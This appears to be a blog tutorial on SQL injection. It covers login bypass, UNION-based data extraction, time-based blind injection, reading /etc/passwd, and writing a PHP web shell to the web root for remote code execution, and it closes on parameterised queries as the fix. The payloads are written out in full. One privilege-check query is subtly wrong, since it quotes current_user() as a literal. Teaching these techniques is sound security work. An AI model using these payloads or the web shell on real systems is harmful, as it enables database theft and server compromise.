SQL Injection
From Login Bypass to Shell

person 0x74shelby category Web Security · Intermediate
screenshot_monitor

01

How SQL Injection Actually Works

SQL injection happens when user input is concatenated directly into a SQL query string instead of being passed as a parameterised value. The database can't distinguish between the developer's intended query structure and the attacker's injected SQL. Whatever gets passed in becomes part of the query logic itself.

Take a login form. The backend might build a query that looks like this, with the username and password substituted in as strings:

vulnerable login query
SELECT * FROM users WHERE username='[INPUT]' AND password='[INPUT]';

If an attacker enters admin' OR '1'='1 as the username, the resulting query becomes a tautology that always returns true. The OR '1'='1' part evaluates to true for every row, so the WHERE clause matches everything. Authentication is bypassed entirely.

Key Concept

The single quote character is almost always the first test. If the application returns a database error when you add a quote to a parameter, you've found a potential injection point. If it returns normally but the page changes when you enter two quotes, that's also worth investigating.

02

UNION-Based Injection

When the application displays query results on the page, UNION injection lets you append a second SELECT statement and have its results rendered alongside the original. First you figure out how many columns the original query returns. Then you build a UNION SELECT that matches that column count and pulls data from tables you want to read.

union injection sequence
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -

' UNION SELECT 1,2,3-- -

' UNION SELECT 1,database(),3-- -

' UNION SELECT 1,schema_name,3 FROM information_schema.schemata-- -

' UNION SELECT 1,TABLE_NAME,3 FROM information_schema.TABLES WHERE table_schema='target_db'-- -

' UNION SELECT 1,username,password FROM users-- -

The ORDER BY method for counting columns is my preference over NULL injection because it gives a cleaner error signal. You increment the ORDER BY number until the query breaks, and the last working number is your column count.

The information_schema database is your map of the entire database server. It contains the names of every database, every table, and every column without needing to guess. Once you're in there, you know exactly where the interesting data lives.

03

Blind SQLi When Nothing Is Displayed

A lot of injection points don't reflect anything useful in the response. The application is still vulnerable, it's just not telling you what the query returned. Blind injection extracts data through indirect signals. Boolean-based blind injects conditions and watches whether the page changes based on true versus false results. Time-based blind injects a SLEEP() function and measures the response time.

time-based blind
1 AND SLEEP(5)-- -

1' AND SLEEP(5)-- -

SELECT SLEEP(5)

If the response takes five seconds longer than normal when you inject the SLEEP, the parameter is injectable. Extracting data this way is slow but reliable. Tools can automate the binary search approach that makes it practical.

04

From Database to OS Execution

When the database user has FILE privileges, SQL injection can go well beyond reading database tables. You can read arbitrary files from the filesystem and, if the web directory is writable and you know the path, write files to it. Writing a PHP web shell to the web root turns SQL injection into remote code execution.

file read via sqli
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -

' UNION SELECT 1,'<?php system($_REQUEST["cmd"]); ?>',3
  INTO OUTFILE '/var/www/html/shell.php'-- -

Critical Escalation

FILE privilege combined with a writable web directory is a direct path from SQL injection to RCE. Check SELECT super_priv FROM mysql.user WHERE user='current_user()' to confirm privileges. This escalation path shows up in real engagements more often than you'd expect because many developers run web applications as database root.

05

Why the Fix Matters

Parameterised queries are the real fix. The query structure gets compiled first, and user input is passed as data later. The database never interprets the input as SQL syntax. It doesn't matter what characters the user enters. The structure is locked in before the data arrives.

Stored procedures help but aren't a complete solution on their own if they still concatenate input internally. Input sanitisation helps but is incomplete because the character set required to break SQL depends on database type, encoding, and context. WAF rules help but are notoriously bypassable. Parameterisation is the only approach that actually eliminates the vulnerability class rather than making it slightly harder to exploit.